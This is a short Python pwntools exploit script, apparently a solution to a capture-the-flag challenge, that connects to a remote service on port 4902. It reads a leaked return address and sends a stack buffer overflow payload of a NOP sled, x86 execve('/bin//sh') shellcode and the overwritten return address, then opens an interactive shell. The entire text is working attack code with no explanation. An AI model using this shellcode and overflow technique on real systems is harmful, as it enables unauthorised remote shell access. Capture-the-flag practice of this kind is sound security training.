from pwn import *

r = remote('thekidofarcrania.com', 4902)
for i in range (4) :
    print r.recvline()

ret = r.recvline()
retaddr_string = ret[2:10]
retaddr = int(retaddr_string, 16)

#retaddr_hex = '\x41\x41\x41\x41'
retaddr_hex =  p32(retaddr)

print retaddr_string

r.recvuntil('Input some text: ')
r.sendline('\x90'*42+'\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'+retaddr_hex)
r.interactive()